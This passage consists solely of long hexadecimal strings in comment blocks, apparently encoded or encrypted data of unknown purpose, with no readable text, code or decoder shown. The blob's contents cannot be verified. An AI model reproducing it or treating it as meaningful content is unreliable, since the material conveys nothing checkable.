1ce49c6fd09e322dcdcd5151f4aa46371e2a828fc2b17eb319f34b3f6c8e23935e9a73c17d07e808d0f71cafa3891f42fb5347361cecc40ac4ad0cc3a5a03c0a831f64430918d011c608a3051d7f644b9355248ad2ec66f65afa66e75a6a8e7e30e922cb403cd07a13977a3db4449a616f45af06a5b7dd5cc2ba4ecf98dfcd4b557cde1ff3bd5530a0f5947177049448df177d385e71ed35f1f1c71f91a5e5987efd4c7c17b6089386a293d067d2c2afdac79fc90d057e80263614d2ceb49f6a0cce341ab7a84815da632399d40fb11898e3db57a332bc459a252b35d308c90ec2c7a2fee2c9561fdb2cf1477db61eccb45e821c3c518f1f641d4ffef9ad40ce3c18c18d332102feb05157a36704c8e4934d92eebe4bfa2b7c367e914f8f4403c075ba0cf998fe0238571476f503d78381375a47df47b61ef02780b5fbb425106d7b5be10d6acf3a589216210c1f1a7824236a3cf8e5fa6d5f90293cb6a1ef38783c97ac2b804fd0b9ce5c16e636e22f8e0dbcfac2b0bfee95a3b686f4da977d5372e782573e3448d7a7a41b5a3d94cfbefd6bc15b30edf17f316b5dd36170826e7236f16483f7dd7bb9a9110eff59e61ff0da611cb07e0c34bce948dd0c7afd28a0cb14bd7dca533881e4d7ebac2f1ddaaf064fe09aef9c49d08641a4c5a352a08e1480246b31425c8987e5cccb841b331c7d72d32de0abddc6e8a3e9b916a8125842c291e8707f955c7641948eff96945c719507cba98f99a980b60730b3a67ba1baa7b8021d82d94017ccebc5c6da7ba74a3b01d70518159993597bbbf63c4f2e1912cb2e4b96713342ad4d0fa315808b6640d7b23b282ec5e289782e9ea2e14ce5d4bc382d5731ec6124c21efb54aeb749387f03501a66ecb135a97d00815c0f43bcc913074bec89ab300dd9dc92a7b37cfeb3402cae698e37ad23eb2a942d209732ca788e11322c320f6e7f0bc50dc4cbeab997e77e56dffac5b6529a09553ca40606c34459eeb425030c0c015b60845b169c1f9c1a02a482b856c9d75b4f91a122d034e2c0f1a79c0b5f38201ec211268f65f8619347b01968b970f4fefd266bbc93274ef5c7849e5b2d57c9aedc6b1e6318f696750f8b13eb8a85ec656bc6e3e0e4d0c2fb3fef43a7903abaaea0f1972d0c3506834833a5c950a502485425fca7b30b4bf0f2abc468bb0fb16dded37de2314389dba2556a03d92f825c394b0b7ca1e9320b241d657b35bb1dfdf9c283*/
/*24b8716eb04bd7e05a9f160f995982af91e129e2ee071795d1248e5a87bbeec130410dbe81b6d3a45ece8e7d4028239c88f8b83ed2472c4e6e143a07f810014508fbaa69e1453e4aa22ad4c993ae2fd3292718a048bb8927cb350f7c68c0e69e64864bf08348477fa49fee65bc6265ced7cde243380b92477f881c5a58ea8b55e609b1aa3e78defedc965a0c7ce092ddcbdbd6fc6ee66d76a8ab74043d7addef6061ff235b95963c27812076556dbcec6f274c7682ae070a023a99cbebf4278ee34372c88f83f8f5561e69ee93a62f4207feadea392e1fbccdcaa5157031be142fbdcfa66701de2654705308f219ef6b7220f7a552fc9394da7e4a1b0c7ce125e4e2af25c91f8c866e51333f8285b113383140cc67cd72d675e2bef4c0eca1b177875daa379c3d2a6bf340ad9eccbefebffc2dd58a713fc3a5664c46507c222ae358a6d9d265587ba73e3815f4dcda7447ac1def13361731878d9987a30d5194d4bdbab2d27cdba1643a430b167bfab595e1b9afd07885c6e0dd656f9266caab0423e60f2a5334ddf6281071a521d9fb31aa0a9b32b8a29b2696dd3d21fca18401b25917e40b56ff9dc6e8117c6d9d9d31fa2e6491359c47e9b31b5a54c0040589306fa880d1409b7d6110ef6367da7517b98097517bb7a7992ac3f5dc040b2a5fcdb4e2a6cea2dd5bcd8e44afae8221cc5a7c88d1cd5e9629939a320361efcd97a531befa2d796d214ef93fb1e5c9739df3fefabb08bb8e91308f59361b802d48ecc654746e448fc026c7fb2e605f7abd65eefa767f2cfc5d13f422c2e5b252aaf40d1ed889f83737818bbbe36b06bed6c977171d7c554f38346a2fa950bd595a1d9dfcc0f292836c2d7634422a2e2f532cf59d581b29b3c54212ac7f57502e340a8bfb84a3267c9f94ccc09a6db09ba5e5d20a8445e4a20566354db711381772f58506d8128f7dd2168ca1c8c30807e0d3ffbba3258865de8c58a7f282100ce1e4a796082dcc661a4ecc01ed32d07882d12f7a97d97a378ecec46304ccd9aa7d812134a73bc34bfe44494ae79afadfdf6b8e9dca62b928348d2c416f483f5a313fc06706b0f2db9a08e4b6cce77ecd29562e3bf8ce61edc555153770ba0d7480ee32d982a8e38aaaf3434d76067c0ad2065c2ff99587c2926584c99df96a68ea487d70f72ed8b9b61d68679bde232760d49b29e9c463d65b40cf1e69e8632fcdd4f3b52fc9a812b377d5d9e11ae0fc2b48e8c6c2f21240190153e2226bbf02861db32139878220a8f80e6a494258740cd0faf7908770902dc563c3b2f69ec47f9acaa4907bbb3e1464704ca1dbda7f3e7fb9de83b86bec8370196181fc45f2a79139bddae92a2776c8acb6b1c32a4970e3fe5a921f5921e9e9185be72d4cf102e6567644575ad351575a59d2704d163cde3c24a999115f923ce033dcb356c88d7e534920c05de8ea5f4cdb07c5f98cec8d5bd0c432daaf9855d98052f806e39692ecb76fbb9235d67824d53a9514eec213a04367f80569706c22bd41a91febc2271d5027d6a675e262c2c2477283f41e2d6593d56cd58bfb21207ff32f4bfc14a603086a42de067d82319c5d38325513cbec491b73e34a40e1b4594134cbee71d098894c4ae7bc8ebbf6fbc6889915f1612980a1858cf27a60746d310c04ba31a95ec912af9a1c15f3512776c01e1e089dff67e31d1d0c187fca94670f706160cbe83a7ff4a03a43ea6afd7861dfcbe28c669658beeb54fa7579e7aa56f31c932d43436cf93017361ee8d9277fd77cac956e26dd76c9835a22f5a2cb7f9b2d63f93476bd0f969cc4c04ec7ac80709151c5ffe2dcb7b9d2ae2281cfbc2d9642dac9d38b02eb89e9328431495f8ad166b0cfde3e0c6f4e6d6a9e04c24a5ba24e2ceaeb899af089ce1526fd034651b04e089026126bcb53c534ea366737af77900a7be85f18e3cd6b05ba57ae3c4a5c9fa104d50332bf559f3e52083cd8b4facbefe90bc5190cf050cd09d89f105264b33e6e2029192cf59380941f79188af7e037c9c343144a6ad741bbff26fc7a3fb7d0e305069a17bdf363e41262ee14214cff6ef211bb37c60455ca5b2252b0c1cb98d5da0d162b5ef89fd4e0466c4eb36d67a2f87af7950aa9f050d93e33935225d1ce9b2779e5169c1ec7c967553522d4f68d23bd2824ae97414ddde229ec69cb2fdaa821dd47355c9bb9037959fdf80c9441d9d909d4a9200ccc8e3993316432be1e01a77cf276218740e08c268e259bd945bce25e9f559e984fb6c4c736c0d8b6b8df6a82ed11bfc0f5dcea15701157beae651cf3b0b0fe4790d383437acf9900e5c8f38b3769b5074887bc56c39d507a1ffc34d78df171fc6c50ebcb11c0da9c005495e0c918d4e7b0ec4044c1c0acee78d34ae88854809b847a58f82bd791eb99e37a3e4be201ce10eb4e553836201398520da490cb1743701c6786e75c031df5ef1dba6df921d88386b5c7ce0d25685d7e0b504e8f153392ec45f4c6bec14cd4e7c0d91eb8a9163b82774d2f4cfd82a045c9a7d277c55a5fa2544ed5774989fc4b093c51e2ec2226dada6f0d7100ccd81d5c65f587e96f3b306b9af88cfaf98697ba730ff21ed8a8520aa3996d91e24cc3fe1b4657a3c6189fa787489f3a307cb8d359a2c51d761b4a9f8d3fef3c39837ccc6ffc0b9a1d81bbe6d625139b6a8b171bbe423f1e38a5430546adc48cfcd8ff24ddb42c5930b1dd61ca27827878451dff2e2557ebb810a41b6993f16bd3ac44c66b63923f3480c049eea27fe6d46152863ec0e5c4ad1d195d1186fb4c551bb84f5f05b7374d098a6c173f9f40*/
/*55d6fd3d78969d6556bc7ee3176896be2fcec4d28bb48043ff4ba0ce8479c2b1d0eee410f2f1b71af78378821c6d8eec8247ffd97a4e0c69e3b479be7ca7a25f0822ba353992219ec855287102e136ce2a03f6c2fdeaf79c4af065f0cc291249ec7744e9ae59942dddaea712346cd1a20c4b65ed56bdc619fa6435b0c07ac6e937aa5467b013d4e806da68ae6e7399bdebc1b93faeb08d3ef3ea3257b7f3ce472bbcbfbb2b47e727461d2438fa225e498dc93e0ec1a893b0e1059bc0a1cdb72fb76f2312e5f69b85dec39d8412924d4fde0d9d15544aec19339f223ea0de3e3e75c143817135ba6e178037a530b544dbd1ae6991e9b6bb185d71fcef24e5270fdd192b7cf9d013da95abd0053a87b88fa9d5118fd1d48bf1227ac604eaee7f69658f42368c12c3ba52555a74b06f47b555070435553d1a5d94361cad23b7c7ff6e2b4e50dac101ad5626be22bf0a70d497dbd2d323526aa252d58008d2d74f40d38560c8a9f70c564f3f0853046cf2e7c20fb13fa2e71ab22e6e1dee3690da042e3ba3052314c3d7cd6068cdb2706bd664ff58ac74fe8c8d71c258933c905c7ae594e21a8dd4db5203f01b67f2eb560936e74b21de7a5aa785976c5d814ee2ce06bf99ef6764199e8c2afc136770f148e10aa6533673f67a6e8f4c6b9de7c2bf93481648bcffc01a34b7ad9e797381d3132f45c0b0d806f9949ba4a6f3c7417f34092a6069dfae9f02bcd219463124e216320ea0086f08ebf0f8ca7b2614157fb1ae95f177509d8ae74a31cf4d97e7871db6c9f9223f6c37f8372ed125d90020eb1c6091ee124ec462c384bdefe77be7d69325a3ee0d9da3501c37f22d51867990564bf0ad5c9a26a73e5379964693ff9765d08358b95b01d40826c221f8c9799f21fe14209fc5dc2e33b970cc1dd8770d0fe9376f6fca3d2abc88632795f147b52a7baffbcb25310ebab8bc784f0507219093527f9cd74e2b9a6300dd5b36ee87f7cb0d8e37ad74401d39f722f51af0f6eb0c5dbbfb52cccf1128d088422f1427ca7ff4245aa1ab43b3665f618fc29f8a2008f4820a6b333e1c8756f517fb64b2241317be75888dd3ee4c94565b3c17bee809aa1703301b2cbb4db07f18b2e1a8e4c9af7b0d4f3f1258650ce177bc033989f64c38a56b12a8d75181d824c362ea9184a4cba993b027cc2fec037f3ed5e6edc2c9e2dc1ddfb6d8794f3c5143ef9cf958b76265e44f58bc16416241f1274da75af6585abaad7f43b9a1081ca3b576a4820da3d5887e7113426e577b5fffe093cba7927ca6a5f73500550541c51e2aec21f003c3d59c78d0e686b9146342f9e0c834b84eb056e1a2459191a2fc1edd9b0bcd63d8a620d516e89a00bfff2884ca2ff5a224b42bc88b59d2c1052f8f86954f6bb82dba5138508b1da29ce45e5021a4a2ef3dce2bea896e62f1bf87b7c31757c79a5800adfb42c88ca38fb1089b64632f42a446a4f75920f4e645530db4d07e218b78ba0eab6b9a5915661a97f687b92ad57b8d56a23f7fed09f4ba87a163d5caa2d52251adf987127e805520c485ff5abc2dfdea6d7fa95d27debfc2ae6feb56c4e50497c1d84efedc004737d1c45e88f1dbece83355f592937f270002afd00fdfb416c6dab08aee1fcebd482696c110d123eecfaf4c2c8320234f0620252ef614dfc8b43a441c97852c2123f3e9738657e2a0069b8031fd8513c58a0281df81e8c21024c1c1b37b35047d47252e0b17232643f761057625171093ac5a116722f7256ef5de28b58181fbbdc1a414aa2e4482292fd44a8622f27bd148faea2f73b60ccb238a09c92620b094d39209d5a8c05a97234db3fdaaf805675a2e4dc71a9464ed6e7010dc34e44d70763d192b9f18b9c67fc2fbe3df819f2aab5b8239004c7d2fa485a1e99a95cc1b5e9c5b0717b4a4477b5b106d66b27355b7df190d0a4d2fd9c6bf09d51c8266c97a6d0dc548f29c4b6245d30c83e3a7ec66ef99fe8ef913c7ae9f0d760538a24d0ab6bba865cba85c07769372ce5535587aecdb5b49f95472d030ee0d23b8817a3a8e86294d102221a67ac2cb1f19bb9e7e014128109961aebceb1b056d19d8d0cfca2334c95a6b8244dc496c93533e17955c6b495e8948f178eb257b5b342419e37dcc3e245a1e71e02d46e0535317925442573f1bad232e05ddaa0a5b6917ee3001c53bcbe9eaf92702295f86b1e55aa9309c07eb8025bb244261d5ec06a6de49c2e3afb592deda897e64f6a8d839c2f5a5f345a991e8087a54fd5b0831065b563bab2fab82888c301b2e5e6db745333bdce235b9eec10420fa08a31f7539b1133e6632f9667cca68da3a470a83151f3dfc1ff5976bb779109ad3e27889fddad48490311920ffadbf7f8900af9fa40689fbba0c28df839434771af0f05860dd44212606ec35b272b72cc0993799cbe785d775837b497dee91676b862a5d72325c19bce04a9700bffa16d81579773900813930745d7f661d0720a95120de8fc84026d6adfc00f78e24f6f4db5c4f53cfc2df91e4da181af92c89d76204e7e91d4447ef7b94ef83e92ace742bc46ab7101ae17f9f34313e7508dbafa27ba1420e019b74bdfbc7195e8b06ad1cdf9333d5c215391d2315b23794d69737da14cb6ff948f3abd427476b20a24145c248d588e559a260599e962ebd11de0e364cfaa0345331c3bda050d3a9624ff1b99a8aa34f775f196685dba87a37afd304aea321afef53b81ec695b0ff08c66bc24c3b530db90ba189a80fc894febb304f641fdc1df2e29bd8d0822465b80af7ebf27e882ffc5c549ed019d65d808783c86fcf3a12*/
/*3fcce7311fd1fb568a5332647ec35023cf2fcaecd38f72ac6c83619165864dc926b5613b830025ed196dae5bf0a4e36d34f8c42aa25103bcdfc14b4b4a56e69bbd771cf7aaab582cc4a6a3da5c7a46738365ba147b75e74ab7a8b5ba7779e44dbf1a4eb3f31a519260e67a5fa5954f23fb39bbffcccdeb804212b5b73b1dc09c9a4f0b3529091fc7d8e312aea3ad530ed5f12ebe2a925533109611e88f1cb49c24a908b236ff72f393cb2f91b14f90723e700647d2b897283232d50e76a402bb35d3aadab748c08a5d17e1be5d9459b413348bc84873e2c462052052318d0dd2bd7a04e5374a7d761fac512f08d7b35ba86f6a66babd193e0a3d1f9bb2769398604ce7421e6c28a99bbccb59209d547e4cfe8840cdd3ddb04ac2cc7051b9ead47904dc85d0fb8767df3253dc832b1bc669ae273a67beeb5f4ddd31818d94911a5fa48650cfc629f5d00efadde2cc06f68afea801b3adcd09ec926bd6a2a4e51e21f1f16b6a77de955728c4bb9dcc37426c6622dd87482ad4f72533fdca39d32b60adf6ebbde9d9f67feb54c70c55b9fc50067b236dd65255fa569666768bcd467064836a4d8bbe1df5d80ab612f1bb85d0663606291c6329c80377012d08da8c40d0cc7ae2f072ec7dbf3bc2bea22742b0db0ad37cc1813437db28083b0cdd6a0b8354def27840478fc4f66b4ce0b5155c5fe9d4b2488ecebf3515c1ad44214c67a8f13cee921a7e2ac46161fc8dc51f5324abf6451fc3c480463ca0642f831c1749756cec44eb1018e3c7a34e758cc9655bacdbb458831cb7b5ecd2365c9df5116510b3fa5e187beaed698942a46958d6fcade209b09e8777b60926816f3e69adc1cbdc41a80a03003f14db0e286577e5a8cdefd9c436f5d4fd2abfa4b586d1d79f540f4b08e6a9e7ff5e710c97edfc35d90b966ab79ab204509244f9e4443b03047168e08b904df0b965d34c29474ef3d69bdd8b702535f5e50a75f959db8667f1aab0ea45c2f6247a25019b37fcbbc078f109f4a766f954eb2a2a71fd18af5337bc78959de39732b9d31e92d1d09cb2cb8763ddab65ddfae5c7e2561b6be9ef9230ad2be7f5a951d23ab3f7c306fc0385b418de63a711f4737ad143bc9188c729b79467fe6d07721bad4e94ca19d21d61843d6d3f453b1635402617aca29f61fec6e3fbff17a30ed7378f823753c16cfc40058c5a12f96e390535a6dfc237c02c864590f2ab5fbd1c9ec338e7e93607ea79d78550448af0346be92fc7a9e167f7971fab6c6ac7fa27004b00659d76bb3e9a4cec3b3fc17b60c5918486b5c7af881892ccd06186563aeb7aa1d6a21b7ff4a3967275da193637a11b5c9c26a60811b189f067553a91942ea422983649934670c88ed805360bb1ea5f518669cdfcb366407d83185e99944e7f99a95451a4b39f5fa0535476f8cd68f22a85cfc24eb5c520ad5960b6e99df4a02dc580e1a919bd892d80940da7eefed729b62d109902f1c288c1ece08d4bf686f1eb1e7341c3d3f07c6b6feb6ea208390466ccf859313ab043138a45d753a5c797063235de7dff52a47f816bb2f6bbe42e12ce7debd9662799047e6730a81ad0a9beed3721a04db972430ed47e0d4f439a15782148f708cfd12bd59f9bc8c89a1fc6086105afb2661480ce70400f2d1183a4eb384ff7d89c3b65447a6fa6e04fe3c7ef963d1ede8710101ccda6b9b4cecf14bb28b3f4d717139b3eabe0ad563feb943521b9c438f6ed855e5084cf6338d206539955ad6cb8f99c34ef4dcea063551cccfa78cd2f8e56092b92b6ef816274369843b2f0c4569bcdea980df7a82fd2278237b16d033ede1fd1dfd3f33066898fbf5f386b1caa649ae66d9ecca713c77062432f270999db49386a6aa16f7d5a0c666d52dfd9fc7ecb08aa71b0742943cc9d7e7195bed621c7c42b0acd026f2a972d5d2b0dfa9019eee6244aed8bad00b4e25ccc3cb1faee22f5ab933e9f40266f4544d80e3ab48009485381e95682319ae4474bb2012cc583938bd65cc6cd78289422129a20f0aca4470470b05faadcf8a7fbba18c772f273f610c36309f41ceada1e548be989cb45ce6a206d6fa70148343d767123856bcc5e692d910e50ca1e033d22eb500b4554bedaa00d4f5bceec3fd34d10851e20184027cf1663bcce3c0b40e906c1073cb7d9059988ef7e2f62762e12359f26ceaf937e4870871e6cc758d22fd36871c2168e4018341cb9a6d41002e6811a91e17b3abbf7d68db0114fed6f7c3f9af23c815a775d444a1976b6febbd30d5771bf8a628d263d9578d15bbef68cf8b9f09c365127ce58df228cd8eaf3c420b97f586a6e194fd5de9ba9c74f05e670458f1a530ff1ea4d7aad279af7abdf91d688d8e11d3e619d8c71d0b394adf71a98d7e3e7ba077307b2d0229d627a97ce81fa19d578ea9d1e7c8108ab00300737c2f18063f04349e8149b2fa0943dae1f5bb51b944f691cc582c8bebc794e31324bacbe03475b1ff399d630dbb5b8a95625a06e9776f20638c613ed681ac87e69a70e7b53cb156d33db8858cc4c1379bb780ef0d45b56de734a75ce5b44619fa9a9281dad5c73b90c61fb6660c0423327cc1c4e29d3e3de4707d4801437d608e771362ba02e8924eaa9a49146424786a4284a1a70a7650eb2d817f2b2fe00e2bde018b52bc123324c59958a5146f57a8b81f865dff6b26ec46feac359bee8ea0a20e4f6bb5f7108286b34dc6e20c18241744637d9eb84f30010d6bea111b5b4ce926127fe9307157cf45055539590a0c10ed7dd91de34d8c0235533f981c24c9dcdc809b8a4b45e3207c1f45f8494*/
/*b6487c78fce06f132c56de6c6b70cb791ae1fdf182d65c4d2f93b8081b6c8cf467571ec846bb6fc2a655bd3217008e0ffa53af672329dd59975787a135a4e1821fa96b39c3aef04626a647f8920be866a2cbdb4537d514261c72a78976dbe8e4eae6b43063a8fe07d6091afd2aabbbeec402f8f4a72105dafa078147e93728f92431a58fb8bbba64a19e80b953f3fdf3bb8ac14e240f6dec861ec14e9f84bd78e60a7ffdee1650b7827ff144f97eeb5a5c89ee75c321ad88b5a833818f2d92d42be6dd534cfe59584fc833943b45bd63ab25a97d1de61f9a0599994eeacf38c3204972c45a37e0d7d284dd937f40213aa86a2d93d82e0e7a31a36edc654f6342643af6b857aa1efeee2ea974080c40e3a11326609a395f87179742efdd34aed7bf8533ab1a8a50e3eedf8c6561e86bd9a5b8b5257ec8c1bbb23a4cf2e1722a212c3ec6c5b48017a45be6caf1fb4661322baf5b1007566f387478a726d9f4f10e70a9cd004bfd0f1dfce05f963e3f30b5a0f6b6cd549081f491fb72b6983dab13ceed18aedf4da22e58be3039206b033131a2ec1fbcbd146bbe00c37a3a86d3728ccbd2950b9025ccd77830c631629b440685cc934b624a15d23f61c22d6c382cbab6a4333a9d0bde8b251ebaafa48a17754acba51bab892b0b263f95cf26fe8fd12e05cf22795676db24f02459fd9774163e4c71cb124d8ec4bd439228e138e7b9aec4ef1be5b1b064dc37c5f5f8d74b078c130a5fc5f4dcc2c1920a4f2f2223105bcb2d05c16e95b8070e083daf83314f211da90c9912df5deb9ea63f739c65035a8ff25c64127ff56f71241f8f4f1122c8580888d1076e0c4fdbf43951d651228b26d6bafc8f76e58177c5f939b606d7f82606fe5893fac9c2fe3e61bd0ad3b9a949ae87cd938e34228643ac2be23eb226f16aa5a73482af1b4fadee8dce0b410e85cb165a5a70bad1d99a169bfebcf31f9532758eac29042865acea4346a9248f0614c7ec26ea3961f73586a4a20bdca9cd65d7a29f13fe19b3df33aca51ac34c42ac7cc444f35d2260d3ec4be4cf7dff3753ed8d0ee8d311ff29a61a66a1cb2e868265f2972d8f6baa7e582fd84c096d0143bb7f728f84c42aaea8d3c6039077814d1c0eb888f6b85475df33ff154c3366dc433bc3aeaf6c97fb693993357b9e5000dc3e882b3edc5fdcd9c301ca926e8188b3c4466539f6096f03e67784f86e44b623427d4781e755627ada5d63321c37ee2342e0832c39dc02980b8b2bfb0238146f047438cefadeb816acf7c83cd0cd92a15e111c2e58eb5a881b4476fca3d0ededd5a2e2ada741f39c4232f3e36c011dacc6b421408e0a74f27afa073f1a7604138e23cc0cf8b899b8a2435c72956fe982144c9a1c04215d2fbeedbe522191953b0a1c8f0936184a69b579e1b133b3578435aa959946bebeef86994c49ac24ecbed5c52d7c9b43c49937b741bf7b512b1ecd755f3ce86e5f6112ec59d02f3227e26fc2e238b9ca1c2174662cfd29bdff30a9561eea6304d8b5a7ad2ce34c230a26ad9e91f8dd0b2a1114ba13138ae3655e13c4514c387cb5e22bebe2a5f2f63ad63696393e0ae3acc31bb13f6a577859e1238fb9bcf0c30f31b509a643dab38f8e1e3ff389110a554d324e3e7fc9a15af3e3658d6acd99b725adef381d98d0eec031d6e91eae663eb581012f4d9920ab2cdc1194088dda5a327cb9de365fd16d0253edb0d2b5f61fd386e09c853aa976f87d09c67c50efa6cbe64fce8691330099fcb6daf2ab0c4786e0d53dd2f9e0b62d493972e4d88db5ddee18f95386f5032a06244f181fe642cc89643c9b5c071d50c9ed3165d803b2eeb626f5ddc0e3a79a8fddea5f2ca2cfba2cda2a23f7bc7bfc2ba1b193d4621a2392f2b9c7531ca7984feb8b91add55365da18b1bb360dc8f54f9f62839bc0003c9ad076b0eb98cec862f2d45af43c794397b92e4c3414615cf6555aad9ae386364f7e359ea1de2236a1044ca5fa776e8215c7136d8cb2354718c13f17b3f22b9481c695b083b0785652039a72e086990a60dcf829a2539e6a2c47d93a4d71dec550b8691f1e1f964e12a903fa66ccb3e5f61d8bc1c62c434edbc4aedb8b00ec684f10ce920d2fefb136c14c050208034b15ab712bc8faec40be6fb6a9739e7d39b19ecbf8fecd48fbeb0b98d6b66d4f02961cffc6d232716171da640a7d363897e4811d17467b6bb8de8dab05fe74bce6a7f465d06b333349657f7d8f1dae16f88d8bfa71fde40cb1c63d70bda23395a0cef047361eab0151dd1b32f42fdd7dbde58a8388a311e5310d8b022b067cfe2554368c9db8581539483da748c3bbd33c738a00813b8f2c2a5a77394456cda97d7422ac4146ad4e0807570cc3421008657289c2c73cd9dd979a3fd4e3b2ce9a6e6fcd1898abf8a363263832f03472b1eb22c458d2c2146e6489ad9096a0cc2b92ad7405176ce446148c7022b356e08171471dccaaf658e306fbc367ce98a0dff34015efcaefd75cfa3e68e4f3befbc4f737393d60a4dc11473fbc2ef6d0129561cdbcbe2d1d830792539ee8090f0fc01765c9e23b3de3460c91d7cb873fa5d116fefdf614e9846dbee4f95cd6e4d35a29206118d8e61eac8750874a2ed734b5c65be915eb0d7e26377f6b2b0e54ff8773200e64f705b88489ea0dfccd1b2262f6d568c12184959d61af581ae874fb3f5e2037cb9bac311771448c8db9cc26a1845a06a35d2770a13e303e6e2fb79e508f8c2e9e24c206870eabcac6b9e9642d5d30416b25c88125d996af981797278dc1a44e93e6fa5b217a48bcd346de7f912a44a4a8*/
/*1e24644bfaec82a463c85d0cd48f8bc6da60f924bc7103687b4dd8d7d15195a5771faa4d556e7b4ad2cd278d26579f8609194f3b2f95f91d700d9404d5cbbf0f43c6e16892826b24653800f53a6661b9731fdf03d1afe18a67aafb48d02e60d4c7e6ea7ef01b253410f554e6d5e9a868da8e7b22168b07c0a75ad81ea9343183952b0e69f5d212a24545fcf03bff9e0dad6b02243efd35bbd5bc034710696b8041b54e83da0d7036646c08dd9c3a6e9bff7504789f1c9e680a915e7a56ddf5929629e11b15c20d58638cf46b04a33cebc7a48a754688da214effa410cbb2171d6fd9a8c542d7ab951726559754c8b1bbbf0e67992c5fba22bab745fb034e08a81ab58137a456143efe12937434ed314e2abb1bb928f95ab86b7ca19fc20d052f2f7d86a482e19dbec031ddd55fd740f13ddb528f2f5d2fdb9a9f3ebf6d015a642cd123347c9503c8af3d24a24642b99cc8b1d1bc2035566a8572e1664bc9b7dc26da55136b98b90b99764d9b96cbf9406c54d777f300ce7a9e888ad6d2641e92d588e6697148369efed6a66575a673c4b5bc06fe6a3b860a1dfcdaf3a1dcc501b0f610b498996e1bb5fb706c8728dc420a645abdcd03825d0cb3cba02c9f733fd0419e4f0cf38fcec0167aa140a53d64f424fb071705cd918749d4d8b31e0a57de7c1d986e6104d8a0784f74db7a00a1ca8167cbbe1b2e0047e124af46dfcff1f857242c06ca50d0c8b0b7a1bab281e1b72f18d342591acd563abb0d5065a9a5863c8111f37eced86a49cf46abf4a7357303b9df9ed40a90f25ee3c514181854e8646fa6fec2914dd14c36c593c149e9cdd8dd968ebe10d90748f26a4e175fbba6fdc003b081394c8e46e7830458bd2a0073b65629bab46bf6816d2cb72f0325919931493e29c2dafb68615c8634d062ae0420ef702e49fddbe8514bb697f053a872f0b09f8d5d22b0a3ce3bed801f05b5dba39c2105d48798bcb28bd28cc0ed511de669848a43258e8bd9680ff341d8a228914fe8deeaf31168bafccecceca83d204900477891d6b30c400e796a760a2a83b787ab19ee736830b169420a104dc6a4fc0db01be17c50c65c17623f55e25d3038522ea00f2d956b02bf50ddc2066059460ca874c4f5445041dfdb3d4d2fe73c8edd0c7654bc9e50f3df71eef91af275512e41b3739e3a353fa270bb83453d33c98b93d6790649f623f05e4ee0b945c46728cec7b650ad9a0d76b6ac2b3dccdc221bf8821a28827e33e7c81a4616c06d64e3b47a0fa9c2812423d1c0e852703406d87fba935fbe1223f1aeaeffaac5322befaeff55f7e041ca862437136848741fc101a89c68e46c1eb06203cf2d6844be14fd2fa038e771fd154f2124721972492f1072da7ef49d3316f09c55ec50b8991d7fad7954d6f48d31db959f30e25eb1f4cd489a64d1d72b86ecf1dfce66f9f2c0fedf02035d2dfcc06a5737593ec905394aa1cba5bff5e7498718f15743fcf9335d7300165a2aaff36ddc852be4d368d3cc0aeeee91fb29c9a269f484fd9cd2f39bfa854533ee17a13c51dc2e996be5d266d1356701d9c8f878b199e248655fedc2b45f40ae455d5e0862b953052bd51b63b0bddf5be3b3f6887eb626b7aabebe55fc89d38d421b7f054cf275a2ed04901f5d884224bc633b41e97e3d9858a92499db9e8d9fbb5243dddadd11afcd5f7db3cf99f50997ff8f97da377fa79766fd48c31f608ba2d44854340821d6d9e4fa77ac820cd6a4f5238e394e060f1481728420ccdaa92afbd8c9bc5bd0fe6d59aeafdd0be2607e39144961a03a2d00599cf6453d002e4f4b61908703910c1992adeea79660adb4f358abec127f5701bea31ca6a0217027cf58fd13c9fcea44eac1c3f66d976eed4f105c0fd6e128a95dca70cc835de909efa64f2a9eaae6487a01cb4a939bcd72cfa2cb491f428c2443339dc34ff5ae0e3d538a6fc4d111cb58a980b77fc26b03c95634b5cf719ed34661dd73e72514270fd9e3cd80e44997aa22e87bb534f0624fd952e80bee1edbdebe58f78f7625e926499f55512469c200aa3a9abbc51e80e608513c0619aaa1630e1d2a93be6ea4483cdc9a2861544e75818cb6ff72fc8127685ebeb84e791728d3b64e7f97413dd1f0984c200fbf11f65c440c999057eb6a59bf47a413b708bcac649598f950db6d47719ffad6bf20e7bd0c3f1a2a8901a9957c91dd89e5a2981d770e1fd0e76deb650e09b99678e0a03b8d8ea8b2395e11c016eb07a416cd15cee1808796dc31b9120c6c3b817422931900c4f5d3530bbdcd3ab4dad83aa8d90f2db6355a0a98110c7fb0712682b7f78eb3996940c2007e8db1ef5e6b20a96d7f2ebc78f569849a79f5c83d2cb8a57bfc60e1955e32ae12473ea1d2cdfad87a5a1efc70aa8f484d42fbbc2716b0a3b9e04b1bd9eb310c04b1148b95f115737558a630b22ee42253b8734e143e8fd9401d3501938404d106901535b6b7b72ddeabc19ee2e47b20ee4576c4710c0086fa83220ab1d69fbe9a10e78de71cb25c44d835e28c93984274578cf3b17c451b3e985c8ff7254faaf72532efcb572fe7375ff8ebd96384a7c8464b7d02de5b29f86e988bc91aca0eb9f08144e24ea97962892c38aa1695250f045ae36f8f5385e1470ba14de6d8f8168ff7852fa3cafbb376301153d43fb7be3ea0246afa9ea3d43207822d14bb80d9f25dab95f081d2e3efcd0d11078ddeb6c036f6c89a7f0126f7bee3acd16dc9af0ecca8b414095f768624e477ed9a90ce51abf162c076e54cd66751fa56cf81097539a5287d628c564666117b07673a8dd02a96d655*/
/*9fc2563f44351b2682916a19c67837628b7ab41d0d11a62d559b4aa3ee725c6f449432bebc45df7d0319c5091a37ede5e584fa6a3d9ddc6fab0f5878199fc9fd22abdf2c3bbed8642ac974a38a68e039e6475c39c619ea46caf2047f1afa6e66dc7afd778cde204ca8134b8941d005de0e84577a372d7097c4093594ae8dfca264a0a781c385b728f1ad4d270bfbf4a4bcb2da1bde98642f68fb326d3e7109c0b3b77bdcc3c5eeb19eb9728165a61bc287cdc29bdfc92da2126345b1a1920e68537246ed2f88ef4f5d4f39d8df31c59871f801ea424a51cd5332e5bc2d7e93a36d4e26a0becb67c97b1838ede1360098498801b000ed465a793fd76580a4eec3f346a0ee950e84dcf26287613269924c4b7cae3b3c90693cce583a31dd4933388983b6bf249764a3281842bd67ada1064efdc9152ac7a72d224cad203a4f82fc0dca4efe0f996f1957b74491f54c5151f5f439518a8fb2ebf825c8f866cb02a9061825dd70d142ae48a00872a595d41f672d061690a78651e243f3ad311559e547efae596e7bfe392cebd55c8efeff6535e12bef7c818a25c4dd49cc9e184cfcd3ba863ae137bbc3c14b469dfdbc76b36d4d55ec7c3f31e67ad37276ada21ce17b1c2fa62612d7ae5a7c0b474660738cdb143d75070960a7bed9ab7a8acb216a2205696f6c4e0f6b089efb1b75f27e3003749f0a2564c12adb05970c5fb